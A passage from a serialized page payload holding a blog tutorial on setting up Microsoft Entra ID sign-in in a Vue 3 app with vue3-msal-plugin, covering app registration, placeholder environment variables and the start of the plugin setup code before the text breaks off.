[{"data":1,"prerenderedAt":16698},["Reactive",2],{"content-query-g9fC9ysh7b":3,"keep-reading:/blog/msal-authentication-in-vue-3":7981},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"created_at":10,"author":11,"categories":12,"banner":17,"banner_alt":18,"draft":6,"head":19,"body":29,"_type":7976,"_id":7977,"_source":7978,"_file":7979,"_extension":7980},"/blog/msal-authentication-in-vue-3","blog",false,"","MSAL Authentication in Vue 3: A Practical Guide","Set up Microsoft Entra ID authentication in Vue 3 with vue3-msal-plugin and MSAL Browser v4: app registration, login, access tokens, route guards, and Nuxt.","2026-08-17","Dulan Katukurundage",[13,14,15,16],"Vue","Authentication","Azure","TypeScript","/images/project-banners/vue3-msal-plugin-banner.webp","vue3-msal-plugin banner",{"meta":20},[21,24,26],{"name":22,"content":23},"keywords","Vue 3, MSAL, Microsoft Entra ID, Azure AD, Authentication, TypeScript, Nuxt, msal-browser",{"name":25,"content":11},"author",{"name":27,"content":28},"copyright","©2026 Dulan Katukurundage",{"type":30,"children":31,"toc":7952},"root",[32,57,62,89,94,101,131,175,181,186,207,212,269,287,292,304,323,343,356,426,454,463,469,499,504,1701,1706,1723,1735,1754,1805,1820,1826,1836,1915,1961,2579,2584,2589,2594,2600,2681,2701,2706,3098,3119,3125,3138,3558,3593,3615,3651,3670,3731,3746,3752,3770,4504,4546,4552,4557,4723,4728,5292,5303,5308,5586,5611,5617,5648,5669,5674,6373,6385,6404,7174,7186,7475,7480,7486,7512,7518,7523,7525,7747,7773,7801,7807,7822,7856,7862,7867,7880,7899,7912,7924,7930,7935,7941,7946],{"type":33,"tag":34,"props":35,"children":36},"element","p",{},[37,40,47,49,55],{"type":38,"value":39},"text","Wiring Microsoft Entra ID into a Vue 3 app takes more code than you'd expect. ",{"type":33,"tag":41,"props":42,"children":44},"code",{"className":43},[],[45],{"type":38,"value":46},"@azure/msal-browser",{"type":38,"value":48}," hands you a ",{"type":33,"tag":41,"props":50,"children":52},{"className":51},[],[53],{"type":38,"value":54},"PublicClientApplication",{"type":38,"value":56}," and a set of promises. What it doesn't hand you is anything reactive.",{"type":33,"tag":34,"props":58,"children":59},{},[60],{"type":38,"value":61},"So you write the same layer in every project: an init sequence that has to finish before any other MSAL call, an event listener that keeps the active account in sync, and a wrapper that turns the account list into something a template can render without going stale.",{"type":33,"tag":34,"props":63,"children":64},{},[65,67,80,82,87],{"type":38,"value":66},"I wrote ",{"type":33,"tag":68,"props":69,"children":73},"a",{"href":70,"rel":71},"https://www.npmjs.com/package/vue3-msal-plugin",[72],"nofollow",[74],{"type":33,"tag":41,"props":75,"children":77},{"className":76},[],[78],{"type":38,"value":79},"vue3-msal-plugin",{"type":38,"value":81}," because I was rewriting that layer every time. It wraps ",{"type":33,"tag":41,"props":83,"children":85},{"className":84},[],[86],{"type":38,"value":46},{"type":38,"value":88}," in Vue composables and leaves the MSAL API alone underneath.",{"type":33,"tag":34,"props":90,"children":91},{},[92],{"type":38,"value":93},"By the end of this guide you'll have a Vue 3 app that signs users in against Entra ID, holds a reactive auth state, acquires access tokens, calls Microsoft Graph, and blocks unauthenticated users at the router. There is a section on Nuxt at the end, because server-side rendering changes the answer.",{"type":33,"tag":95,"props":96,"children":98},"h2",{"id":97},"what-you-need-first",[99],{"type":38,"value":100},"What you need first",{"type":33,"tag":102,"props":103,"children":104},"ul",{},[105,111,116,126],{"type":33,"tag":106,"props":107,"children":108},"li",{},[109],{"type":38,"value":110},"Node.js 20 or newer",{"type":33,"tag":106,"props":112,"children":113},{},[114],{"type":38,"value":115},"Vue 3.5 or newer",{"type":33,"tag":106,"props":117,"children":118},{},[119,124],{"type":33,"tag":41,"props":120,"children":122},{"className":121},[],[123],{"type":38,"value":46},{"type":38,"value":125}," 4 or newer",{"type":33,"tag":106,"props":127,"children":128},{},[129],{"type":38,"value":130},"A Microsoft Entra ID tenant you can register an application in",{"type":33,"tag":34,"props":132,"children":133},{},[134,136,141,143,149,151,157,159,165,167,173],{"type":38,"value":135},"Those are hard requirements. ",{"type":33,"tag":41,"props":137,"children":139},{"className":138},[],[140],{"type":38,"value":79},{"type":38,"value":142}," declares ",{"type":33,"tag":41,"props":144,"children":146},{"className":145},[],[147],{"type":38,"value":148},"vue@^3.5.0",{"type":38,"value":150}," and ",{"type":33,"tag":41,"props":152,"children":154},{"className":153},[],[155],{"type":38,"value":156},"@azure/msal-browser@^4.0.0",{"type":38,"value":158}," as peer dependencies, and sets ",{"type":33,"tag":41,"props":160,"children":162},{"className":161},[],[163],{"type":38,"value":164},"engines.node",{"type":38,"value":166}," to ",{"type":33,"tag":41,"props":168,"children":170},{"className":169},[],[171],{"type":38,"value":172},">=20",{"type":38,"value":174},".",{"type":33,"tag":95,"props":176,"children":178},{"id":177},"registering-the-app-in-microsoft-entra-id",[179],{"type":38,"value":180},"Registering the app in Microsoft Entra ID",{"type":33,"tag":34,"props":182,"children":183},{},[184],{"type":38,"value":185},"MSAL can't do anything until Entra ID knows your app exists. Most Vue MSAL guides assume you already have a configured tenant and skip straight to the code, so this section covers the portal side.",{"type":33,"tag":34,"props":187,"children":188},{},[189,191,198,200,206],{"type":38,"value":190},"Open the ",{"type":33,"tag":68,"props":192,"children":195},{"href":193,"rel":194},"https://entra.microsoft.com",[72],[196],{"type":38,"value":197},"Microsoft Entra admin center",{"type":38,"value":199},", then go to ",{"type":33,"tag":201,"props":202,"children":203},"strong",{},[204],{"type":38,"value":205},"Identity → Applications → App registrations → New registration",{"type":38,"value":174},{"type":33,"tag":34,"props":208,"children":209},{},[210],{"type":38,"value":211},"Three fields matter:",{"type":33,"tag":213,"props":214,"children":215},"ol",{},[216,226,244],{"type":33,"tag":106,"props":217,"children":218},{},[219,224],{"type":33,"tag":201,"props":220,"children":221},{},[222],{"type":38,"value":223},"Name.",{"type":38,"value":225}," Internal label only. Users never see it.",{"type":33,"tag":106,"props":227,"children":228},{},[229,234,236,242],{"type":33,"tag":201,"props":230,"children":231},{},[232],{"type":38,"value":233},"Supported account types.",{"type":38,"value":235}," Pick ",{"type":33,"tag":237,"props":238,"children":239},"em",{},[240],{"type":38,"value":241},"Accounts in this organizational directory only",{"type":38,"value":243}," for a single-tenant app. Multi-tenant and personal-account options change your authority URL later.",{"type":33,"tag":106,"props":245,"children":246},{},[247,252,254,259,261,267],{"type":33,"tag":201,"props":248,"children":249},{},[250],{"type":38,"value":251},"Redirect URI.",{"type":38,"value":253}," Choose the ",{"type":33,"tag":201,"props":255,"children":256},{},[257],{"type":38,"value":258},"Single-page application",{"type":38,"value":260}," platform, and enter ",{"type":33,"tag":41,"props":262,"children":264},{"className":263},[],[265],{"type":38,"value":266},"http://localhost:5173",{"type":38,"value":268}," for a default Vite dev server.",{"type":33,"tag":34,"props":270,"children":271},{},[272,274,279,281,285],{"type":38,"value":273},"The platform choice is the one that silently breaks things. Selecting ",{"type":33,"tag":201,"props":275,"children":276},{},[277],{"type":38,"value":278},"Web",{"type":38,"value":280}," instead of ",{"type":33,"tag":201,"props":282,"children":283},{},[284],{"type":38,"value":258},{"type":38,"value":286}," registers your app for a flow that expects a client secret. A browser app has nowhere safe to keep a secret, so MSAL uses authorization code flow with PKCE instead, and that only works against a SPA-platform redirect URI. If sign-in fails with a cross-origin or unsupported-flow error, check this first.",{"type":33,"tag":34,"props":288,"children":289},{},[290],{"type":38,"value":291},"Leave the implicit grant checkboxes alone. Implicit flow is a legacy option that MSAL v2 and later don't need.",{"type":33,"tag":34,"props":293,"children":294},{},[295,297,302],{"type":38,"value":296},"From the ",{"type":33,"tag":201,"props":298,"children":299},{},[300],{"type":38,"value":301},"Overview",{"type":38,"value":303}," page, copy two values:",{"type":33,"tag":102,"props":305,"children":306},{},[307,315],{"type":33,"tag":106,"props":308,"children":309},{},[310],{"type":33,"tag":201,"props":311,"children":312},{},[313],{"type":38,"value":314},"Application (client) ID",{"type":33,"tag":106,"props":316,"children":317},{},[318],{"type":33,"tag":201,"props":319,"children":320},{},[321],{"type":38,"value":322},"Directory (tenant) ID",{"type":33,"tag":34,"props":324,"children":325},{},[326,328,333,335,341],{"type":38,"value":327},"Then go to ",{"type":33,"tag":201,"props":329,"children":330},{},[331],{"type":38,"value":332},"API permissions",{"type":38,"value":334},". ",{"type":33,"tag":41,"props":336,"children":338},{"className":337},[],[339],{"type":38,"value":340},"User.Read",{"type":38,"value":342}," under Microsoft Graph delegated permissions is usually granted by default. You need it for the Graph section below.",{"type":33,"tag":34,"props":344,"children":345},{},[346,348,354],{"type":38,"value":347},"Put both IDs in a ",{"type":33,"tag":41,"props":349,"children":351},{"className":350},[],[352],{"type":38,"value":353},".env",{"type":38,"value":355}," file:",{"type":33,"tag":357,"props":358,"children":362},"pre",{"className":359,"code":360,"language":361,"meta":7,"style":7},"language-bash shiki shiki-themes tokyo-night","VITE_CLIENT_ID=\"00000000-0000-0000-0000-000000000000\"\nVITE_AUTHORITY=\"https://login.microsoftonline.com/11111111-1111-1111-1111-111111111111\"\n","bash",[363],{"type":33,"tag":41,"props":364,"children":365},{"__ignoreMap":7},[366,400],{"type":33,"tag":367,"props":368,"children":371},"span",{"class":369,"line":370},"line",1,[372,378,384,389,395],{"type":33,"tag":367,"props":373,"children":375},{"style":374},"--shiki-default:#C0CAF5",[376],{"type":38,"value":377},"VITE_CLIENT_ID",{"type":33,"tag":367,"props":379,"children":381},{"style":380},"--shiki-default:#89DDFF",[382],{"type":38,"value":383},"=",{"type":33,"tag":367,"props":385,"children":386},{"style":380},[387],{"type":38,"value":388},"\"",{"type":33,"tag":367,"props":390,"children":392},{"style":391},"--shiki-default:#9ECE6A",[393],{"type":38,"value":394},"00000000-0000-0000-0000-000000000000",{"type":33,"tag":367,"props":396,"children":397},{"style":380},[398],{"type":38,"value":399},"\"\n",{"type":33,"tag":367,"props":401,"children":403},{"class":369,"line":402},2,[404,409,413,417,422],{"type":33,"tag":367,"props":405,"children":406},{"style":374},[407],{"type":38,"value":408},"VITE_AUTHORITY",{"type":33,"tag":367,"props":410,"children":411},{"style":380},[412],{"type":38,"value":383},{"type":33,"tag":367,"props":414,"children":415},{"style":380},[416],{"type":38,"value":388},{"type":33,"tag":367,"props":418,"children":419},{"style":391},[420],{"type":38,"value":421},"https://login.microsoftonline.com/11111111-1111-1111-1111-111111111111",{"type":33,"tag":367,"props":423,"children":424},{"style":380},[425],{"type":38,"value":399},{"type":33,"tag":34,"props":427,"children":428},{},[429,431,437,439,445,447,453],{"type":38,"value":430},"The authority is ",{"type":33,"tag":41,"props":432,"children":434},{"className":433},[],[435],{"type":38,"value":436},"https://login.microsoftonline.com/",{"type":38,"value":438}," plus your tenant ID for a single-tenant app. Multi-tenant apps use ",{"type":33,"tag":41,"props":440,"children":442},{"className":441},[],[443],{"type":38,"value":444},"/organizations",{"type":38,"value":446},", and apps accepting personal Microsoft accounts use ",{"type":33,"tag":41,"props":448,"children":450},{"className":449},[],[451],{"type":38,"value":452},"/common",{"type":38,"value":174},{"type":33,"tag":455,"props":456,"children":457},"info",{},[458],{"type":33,"tag":34,"props":459,"children":460},{},[461],{"type":38,"value":462},"Every redirect URI your app uses in production has to be registered too, including the post-logout one. Entra ID rejects any URI it hasn't seen, and the error arrives at the Microsoft sign-in page rather than in your console.",{"type":33,"tag":95,"props":464,"children":466},{"id":465},"installing-and-registering-the-plugin",[467],{"type":38,"value":468},"Installing and registering the plugin",{"type":33,"tag":357,"props":470,"children":472},{"className":359,"code":471,"language":361,"meta":7,"style":7},"npm i vue3-msal-plugin @azure/msal-browser\n",[473],{"type":33,"tag":41,"props":474,"children":475},{"__ignoreMap":7},[476],{"type":33,"tag":367,"props":477,"children":478},{"class":369,"line":370},[479,484,489,494],{"type":33,"tag":367,"props":480,"children":481},{"style":374},[482],{"type":38,"value":483},"npm",{"type":33,"tag":367,"props":485,"children":486},{"style":391},[487],{"type":38,"value":488}," i",{"type":33,"tag":367,"props":490,"children":491},{"style":391},[492],{"type":38,"value":493}," vue3-msal-plugin",{"type":33,"tag":367,"props":495,"children":496},{"style":391},[497],{"type":38,"value":498}," @azure/msal-browser\n",{"type":33,"tag":34,"props":500,"children":501},{},[502],{"type":38,"value":503},"The plugin needs an MSAL instance, not a config object. You build the instance, set the active account, subscribe to login events, then hand it to Vue:",{"type":33,"tag":357,"props":505,"children":509},{"className":506,"code":507,"language":508,"meta":7,"style":7},"language-typescript shiki shiki-themes tokyo-night","// src/main.ts\nimport { createApp } from \"vue\";\nimport { msalPlugin, msalInstance } from \"vue3-msal-plugin\";\nimport type { Configuration, AuthenticationResult } from \"@azure/msal-browser\";\nimport { EventType } from \"@azure/msal-browser\";\n\nimport App from \"./App.vue\";\nimport router from \"./router\";\n\nconst msalConfig: Configuration = {\n  auth: {\n    clientId: import.meta.env.VITE_CLIENT_ID,\n    authority: import.meta.env.VITE_AUTHORITY,\n    redirectUri: \"http://localhost:5173\",\n    postLogoutRedirectUri: \"http://localhost:5173\",\n  },\n  cache: {\n    cacheLocation: \"localStorage\",\n  },\n};\n\nconst instance = msalInstance(msalConfig);\n\n// Restore the signed-in account after a page refresh.\nconst accounts = instance.getAllAccounts();\nif (accounts.length > 0) {\n  instance.setActiveAccount(accounts[0]);\n}\n\n// A fresh sign-in does not set the active account for you.\ninstance.addEventCallback((event) => {\n  if (event.eventType === EventType.LOGIN_SUCCESS && event.payload) {\n    const payload = event.payload as AuthenticationResult;\n    instance.setActiveAccount(payload.account);\n  }\n});\n\nconst app = createApp(App);\napp.use(router);\napp.use(msalPlugin, instance);\napp.mount(\"#app\");\n","typescript",[510],{"type":33,"tag":41,"props":511,"children":512},{"__ignoreMap":7},[513,522,572,623,679,720,730,764,798,806,841,859,909,954,983,1012,1025,1042,1072,1084,1097,1105,1146,1154,1163,1202,1248,1293,1302,1310,1319,1361,1430,1473,1515,1524,1537,1545,1584,1619,1659],{"type":33,"tag":367,"props":514,"children":515},{"class":369,"line":370},[516],{"type":33,"tag":367,"props":517,"children":519},{"style":518},"--shiki-default:#51597D;--shiki-default-font-style:italic",[520],{"type":38,"value":521},"// src/main.ts\n",{"type":33,"tag":367,"props":523,"children":524},{"class":369,"line":402},[525,531,537,543,548,553,558,563,567],{"type":33,"tag":367,"props":526,"children":528},{"style":527},"--shiki-default:#7DCFFF",[529],{"type":38,"value":530},"import",{"type":33,"tag":367,"props":532,"children":534},{"style":533},"--shiki-default:#9ABDF5",[535],{"type":38,"value":536}," { ",{"type":33,"tag":367,"props":538,"children":540},{"style":539},"--shiki-default:#0DB9D7",[541],{"type":38,"value":542},"createApp",{"type":33,"tag":367,"props":544,"children":545},{"style":533},[546],{"type":38,"value":547}," }",{"type":33,"tag":367,"props":549,"children":550},{"style":527},[551],{"type":38,"value":552}," from",{"type":33,"tag":367,"props":554,"children":555},{"style":380},[556],{"type":38,"value":557}," \"",{"type":33,"tag":367,"props":559,"children":560},{"style":391},[561],{"type":38,"value":562},"vue",{"type":33,"tag":367,"props":564,"children":565},{"style":380},[566],{"type":38,"value":388},{"type":33,"tag":367,"props":568,"children":569},{"style":380},[570],{"type":38,"value":571},";\n",{"type":33,"tag":367,"props":573,"children":575},{"class":369,"line":574},3,[576,580,584,589,594,599,603,607,611,615,619],{"type":33,"tag":367,"props":577,"children":578},{"style":527},[579],{"type":38,"value":530},{"type":33,"tag":367,"props":581,"children":582},{"style":533},[583],{"type":38,"value":536},{"type":33,"tag":367,"props":585,"children":586},{"style":539},[587],{"type":38,"value":588},"msalPlugin",{"type":33,"tag":367,"props":590,"children":591},{"style":380},[592],{"type":38,"value":593},",",{"type":33,"tag":367,"props":595,"children":596},{"style":539},[597],{"type":38,"value":598}," msalInstance",{"type":33,"tag":367,"props":600,"children":601},{"style":533},[602],{"type":38,"value":547},{"type":33,"tag":367,"props":604,"children":605},{"style":527},[606],{"type":38,"value":552},{"type":33,"tag":367,"props":608,"children":609},{"style":380},[610],{"type":38,"value":557},{"type":33,"tag":367,"props":612,"children":613},{"style":391},[614],{"type":38,"value":79},{"type":33,"tag":367,"props":616,"children":617},{"style":380},[618],{"type":38,"value":388},{"type":33,"tag":367,"props":620,"children":621},{"style":380},[622],{"type":38,"value":571},{"type":33,"tag":367,"props":624,"children":626},{"class":369,"line":625},4,[627,631,637,641,646,650,655,659,663,667,671,675],{"type":33,"tag":367,"props":628,"children":629},{"style":527},[630],{"type":38,"value":530},{"type":33,"tag":367,"props":632,"children":634},{"style":633},"--shiki-default:#BB9AF7",[635],{"type":38,"value":636}," type",{"type":33,"tag":367,"props":638,"children":639},{"style":533},[640],{"type":38,"value":536},{"type":33,"tag":367,"props":642,"children":643},{"style":539},[644],{"type":38,"value":645},"Configuration",{"type":33,"tag":367,"props":647,"children":648},{"style":380},[649],{"type":38,"value":593},{"type":33,"tag":367,"props":651,"children":652},{"style":539},[653],{"type":38,"value":654}," AuthenticationResult",{"type":33,"tag":367,"props":656,"children":657},{"style":533},[658],{"type":38,"value":547},{"type":33,"tag":367,"props":660,"children":661},{"style":527},[662],{"type":38,"value":552},{"type":33,"tag":367,"props":664,"children":665},{"style":380},[666],{"type":38,"value":557},{"type":33,"tag":367,"props":668,"children":669},{"style":391},[670],{"type":38,"value":46},{"type":33,"tag":367,"props":672,"children":673},{"style":380},[674],{"type":38,"value":388},{"type":33,"tag":367,"props":676,"children":677},{"style":380},[678],{"type":38,"value":571},{"type":33,"tag":367,"props":680,"children":682},{"class":369,"line":681},5,[683,687,691,696,700,704,708,712,716],{"type":33,"tag":367,"props":684,"children":685},{"style":527},[686],{"type":38,"value":530},{"type":33,"tag":367,"props":688,"children":689},{"style":533},[690],{"type":38,"value":536},{"type":33,"tag":367,"props":692,"children":693},{"style":539},[694],{"type":38,"value":695},"EventType",{"type":33,"tag":367,"props":697,"children":698},{"style":533},[699],{"type":38,"value":547},{"type":33,"tag":367,"props":701,"children":702},{"style":527},[703],{"type":38,"value":552},{"type":33,"tag":367,"props":705,"children":706},{"style":380},[707],{"type":38,"value":557},{"type":33,"tag":367,"props":709,"children":710},{"style":391},[711],{"type":38,"value":46},{"type":33,"tag":367,"props":713,"children":714},{"style":380},[715],{"type":38,"value":388},{"type":33,"tag":367,"props":717,"children":718},{"style":380},[719],{"type":38,"value":571},{"type":33,"tag":367,"props":721,"children":723},{"class":369,"line":722},6,[724],{"type":33,"tag":367,"props":725,"children":727},{"emptyLinePlaceholder":726},true,[728],{"type":38,"value":729},"\n",{"type":33,"tag":367,"props":731,"children":733},{"class":369,"line":732},7,[734,738,743,747,751,756,760],{"type":33,"tag":367,"props":735,"children":736},{"style":527},[737],{"type":38,"value":530},{"type":33,"tag":367,"props":739,"children":740},{"style":539},[741],{"type":38,"value":742}," App",{"type":33,"tag":367,"props":744,"children":745},{"style":527},[746],{"type":38,"value":552},{"type":33,"tag":367,"props":748,"children":749},{"style":380},[750],{"type":38,"value":557},{"type":33,"tag":367,"props":752,"children":753},{"style":391},[754],{"type":38,"value":755},"./App.vue",{"type":33,"tag":367,"props":757,"children":758},{"style":380},[759],{"type":38,"value":388},{"type":33,"tag":367,"props":761,"children":762},{"style":380},[763],{"type":38,"value":571},{"type":33,"tag":367,"props":765,"children":767},{"class":369,"line":766},8,[768,772,777,781,785,790,794],{"type":33,"tag":367,"props":769,"children":770},{"style":527},[771],{"type":38,"value":530},{"type":33,"tag":367,"props":773,"children":774},{"style":539},[775],{"type":38,"value":776}," router",{"type":33,"tag":367,"props":778,"children":779},{"style":527},[780],{"type":38,"value":552},{"type":33,"tag":367,"props":782,"children":783},{"style":380},[784],{"type":38,"value":557},{"type":33,"tag":367,"props":786,"children":787},{"style":391},[788],{"type":38,"value":789},"./router",{"type":33,"tag":367,"props":791,"children":792},{"style":380},[793],{"type":38,"value":388},{"type":33,"tag":367,"props":795,"children":796},{"style":380},[797],{"type":38,"value":571},{"type":33,"tag":367,"props":799,"children":801},{"class":369,"line":800},9,[802],{"type":33,"tag":367,"props":803,"children":804},{"emptyLinePlaceholder":726},[805],{"type":38,"value":729},{"type":33,"tag":367,"props":807,"children":809},{"class":369,"line":808},10,[810,816,821,826,831,836],{"type":33,"tag":367,"props":811,"children":813},{"style":812},"--shiki-default:#9D7CD8;--shiki-default-font-style:italic",[814],{"type":38,"value":815},"const",{"type":33,"tag":367,"props":817,"children":818},{"style":633},[819],{"type":38,"value":820}," msalConfig",{"type":33,"tag":367,"props":822,"children":823},{"style":380},[824],{"type":38,"value":825},":",{"type":33,"tag":367,"props":827,"children":828},{"style":374},[829],{"type":38,"value":830}," Configuration",{"type":33,"tag":367,"props":832,"children":833},{"style":380},[834],{"type":38,"value":835}," =",{"type":33,"tag":367,"props":837,"children":838},{"style":533},[839],{"type":38,"value":840}," {\n",{"type":33,"tag":367,"props":842,"children":844},{"class":369,"line":843},11,[845,851,855],{"type":33,"tag":367,"props":846,"children":848},{"style":847},"--shiki-default:#73DACA",[849],{"type":38,"value":850},"  auth",{"type":33,"tag":367,"props":852,"children":853},{"style":380},[854],{"type":38,"value":825},{"type":33,"tag":367,"props":856,"children":857},{"style":533},[858],{"type":38,"value":840},{"type":33,"tag":367,"props":860,"children":862},{"class":369,"line":861},12,[863,868,872,877,881,886,890,895,899,904],{"type":33,"tag":367,"props":864,"children":865},{"style":847},[866],{"type":38,"value":867},"    clientId",{"type":33,"tag":367,"props":869,"children":870},{"style":380},[871],{"type":38,"value":825},{"type":33,"tag":367,"props":873,"children":874},{"style":527},[875],{"type":38,"value":876}," import",{"type":33,"tag":367,"props":878,"children":879},{"style":380},[880],{"type":38,"value":174},{"type":33,"tag":367,"props":882,"children":883},{"style":527},[884],{"type":38,"value":885},"meta",{"type":33,"tag":367,"props":887,"children":888},{"style":380},[889],{"type":38,"value":174},{"type":33,"tag":367,"props":891,"children":892},{"style":374},[893],{"type":38,"value":894},"env",{"type":33,"tag":367,"props":896,"children":897},{"style":380},[898],{"type":38,"value":174},{"type":33,"tag":367,"props":900,"children":902},{"style":901},"--shiki-default:#FF9E64",[903],{"type":38,"value":377},{"type":33,"tag":367,"props":905,"children":906},{"style":380},[907],{"type":38,"value":908},",\n",{"type":33,"tag":367,"props":910,"children":912},{"class":369,"line":911},13,[913,918,922,926,930,934,938,942,946,950],{"type":33,"tag":367,"props":914,"children":915},{"style":847},[916],{"type":38,"value":917},"    authority",{"type":33,"tag":367,"props":919,"children":920},{"style":380},[921],{"type":38,"value":825},{"type":33,"tag":367,"props":923,"children":924},{"style":527},[925],{"type":38,"value":876},{"type":33,"tag":367,"props":927,"children":928},{"style":380},[929],{"type":38,"value":174},{"type":33,"tag":367,"props":931,"children":932},{"style":527},[933],{"type":38,"value":885},{"type":33,"tag":367,"props":935,"children":936},{"style":380},[937],{"type":38,"value":174},{"type":33,"tag":367,"props":939,"children":940},{"style":374},[941],{"type":38,"value":894},{"type":33,"tag":367,"props":943,"children":944},{"style":380},[945],{"type":38,"value":174},{"type":33,"tag":367,"props":947,"children":948},{"style":901},[949],{"type":38,"value":408},{"type":33,"tag":367,"props":951,"children":952},{"style":380},[953],{"type":38,"value":908},{"type":33,"tag":367,"props":955,"children":957},{"class":369,"line":956},14,[958,963,967,971,975,979],{"type":33,"tag":367,"props":959,"children":960},{"style":847},[961],{"type":38,"value":962},"    redirectUri",{"type":33,"tag":367,"props":964,"children":965},{"style":380},[966],{"type":38,"value":825},{"type":33,"tag":367,"props":968,"children":969},{"style":380},[970],{"type":38,"value":557},{"type":33,"tag":367,"props":972,"children":973},{"style":391},[974],{"type":38,"value":266},{"type":33,"tag":367,"props":976,"children":977},{"style":380},[978],{"type":38,"value":388},{"type":33,"tag":367,"props":980,"children":981},{"style":380},[982],{"type":38,"value":908},{"type":33,"tag":367,"props":984,"children":986},{"class":369,"line":985},15,[987,992,996,1000,1004,1008],{"type":33,"tag":367,"props":988,"children":989},{"style":847},[990],{"type":38,"value":991},"    postLogoutRedirectUri",{"type":33,"tag":367,"props":993,"children":994},{"style":380},[995],{"type":38,"value":825},{"type":33,"tag":367,"props":997,"children":998},{"style":380},[999],{"type":38,"value":557},{"type":33,"tag":367,"props":1001,"children":1002},{"style":391},[1003],{"type":38,"value":266},{"type":33,"tag":367,"props":1005,"children":1006},{"style":380},[1007],{"type":38,"value":388},{"type":33,"tag":367,"props":1009,"children":1010},{"style":380},[1011],{"type":38,"value":908},{"type":33,"tag":367,"props":1013,"children":1015},{"class":369,"line":1014},16,[1016,1021],{"type":33,"tag":367,"props":1017,"children":1018},{"style":533},[1019],{"type":38,"value":1020},"  }",{"type":33,"tag":367,"props":1022,"children":1023},{"style":380},[1024],{"type":38,"value":908},{"type":33,"tag":367,"props":1026,"children":1028},{"class":369,"line":1027},17,[1029,1034,1038],{"type":33,"tag":367,"props":1030,"children":1031},{"style":847},[1032],{"type":38,"value":1033},"  cache",{"type":33,"tag":367,"props":1035,"children":1036},{"style":380},[1037],{"type":38,"value":825},{"type":33,"tag":367,"props":1039,"children":1040},{"style":533},[1041],{"type":38,"value":840},{"type":33,"tag":367,"props":1043,"children":1045},{"class":369,"line":1044},18,[1046,1051,1055,1059,1064,1068],{"type":33,"tag":367,"props":1047,"children":1048},{"style":847},[1049],{"type":38,"value":1050},"    cacheLocation",{"type":33,"tag":367,"props":1052,"children":1053},{"style":380},[1054],{"type":38,"value":825},{"type":33,"tag":367,"props":1056,"children":1057},{"style":380},[1058],{"type":38,"value":557},{"type":33,"tag":367,"props":1060,"children":1061},{"style":391},[1062],{"type":38,"value":1063},"localStorage",{"type":33,"tag":367,"props":1065,"children":1066},{"style":380},[1067],{"type":38,"value":388},{"type":33,"tag":367,"props":1069,"children":1070},{"style":380},[1071],{"type":38,"value":908},{"type":33,"tag":367,"props":1073,"children":1075},{"class":369,"line":1074},19,[1076,1080],{"type":33,"tag":367,"props":1077,"children":1078},{"style":533},[1079],{"type":38,"value":1020},{"type":33,"tag":367,"props":1081,"children":1082},{"style":380},[1083],{"type":38,"value":908},{"type":33,"tag":367,"props":1085,"children":1087},{"class":369,"line":1086},20,[1088,1093],{"type":33,"tag":367,"props":1089,"children":1090},{"style":533},[1091],{"type":38,"value":1092},"}",{"type":33,"tag":367,"props":1094,"children":1095},{"style":380},[1096],{"type":38,"value":571},{"type":33,"tag":367,"props":1098,"children":1100},{"class":369,"line":1099},21,[1101],{"type":33,"tag":367,"props":1102,"children":1103},{"emptyLinePlaceholder":726},[1104],{"type":38,"value":729},{"type":33,"tag":367,"props":1106,"children":1108},{"class":369,"line":1107},22,[1109,1113,1118,1122,1127,1132,1137,1142],{"type":33,"tag":367,"props":1110,"children":1111},{"style":812},[1112],{"type":38,"value":815},{"type":33,"tag":367,"props":1114,"children":1115},{"style":633},[1116],{"type":38,"value":1117}," instance",{"type":33,"tag":367,"props":1119,"children":1120},{"style":380},[1121],{"type":38,"value":835},{"type":33,"tag":367,"props":1123,"children":1125},{"style":1124},"--shiki-default:#7AA2F7",[1126],{"type":38,"value":598},{"type":33,"tag":367,"props":1128,"children":1129},{"style":533},[1130],{"type":38,"value":1131},"(",{"type":33,"tag":367,"props":1133,"children":1134},{"style":374},[1135],{"type":38,"value":1136},"msalConfig",{"type":33,"tag":367,"props":1138,"children":1139},{"style":533},[1140],{"type":38,"value":1141},")",{"type":33,"tag":367,"props":1143,"children":1144},{"style":380},[1145],{"type":38,"value":571},{"type":33,"tag":367,"props":1147,"children":1149},{"class":369,"line":1148},23,[1150],{"type":33,"tag":367,"props":1151,"children":1152},{"emptyLinePlaceholder":726},[1153],{"type":38,"value":729},{"type":33,"tag":367,"props":1155,"children":1157},{"class":369,"line":1156},24,[1158],{"type":33,"tag":367,"props":1159,"children":1160},{"style":518},[1161],{"type":38,"value":1162},"// Restore the signed-in account after a page refresh.\n",{"type":33,"tag":367,"props":1164,"children":1166},{"class":369,"line":1165},25,[1167,1171,1176,1180,1184,1188,1193,1198],{"type":33,"tag":367,"props":1168,"children":1169},{"style":812},[1170],{"type":38,"value":815},{"type":33,"tag":367,"props":1172,"children":1173},{"style":633},[1174],{"type":38,"value":1175}," accounts",{"type":33,"tag":367,"props":1177,"children":1178},{"style":380},[1179],{"type":38,"value":835},{"type":33,"tag":367,"props":1181,"children":1182},{"style":374},[1183],{"type":38,"value":1117},{"type":33,"tag":367,"props":1185,"children":1186},{"style":380},[1187],{"type":38,"value":174},{"type":33,"tag":367,"props":1189,"children":1190},{"style":1124},[1191],{"type":38,"value":1192},"getAllAccounts",{"type":33,"tag":367,"props":1194,"children":1195},{"style":533},[1196],{"type":38,"value":1197},"()",{"type":33,"tag":367,"props":1199,"children":1200},{"style":380},[1201],{"type":38,"value":571},{"type":33,"tag":367,"props":1203,"children":1205},{"class":369,"line":1204},26,[1206,1211,1216,1221,1225,1230,1235,1240,1244],{"type":33,"tag":367,"props":1207,"children":1208},{"style":633},[1209],{"type":38,"value":1210},"if",{"type":33,"tag":367,"props":1212,"children":1213},{"style":533},[1214],{"type":38,"value":1215}," (",{"type":33,"tag":367,"props":1217,"children":1218},{"style":374},[1219],{"type":38,"value":1220},"accounts",{"type":33,"tag":367,"props":1222,"children":1223},{"style":380},[1224],{"type":38,"value":174},{"type":33,"tag":367,"props":1226,"children":1227},{"style":527},[1228],{"type":38,"value":1229},"length",{"type":33,"tag":367,"props":1231,"children":1232},{"style":633},[1233],{"type":38,"value":1234}," >",{"type":33,"tag":367,"props":1236,"children":1237},{"style":901},[1238],{"type":38,"value":1239}," 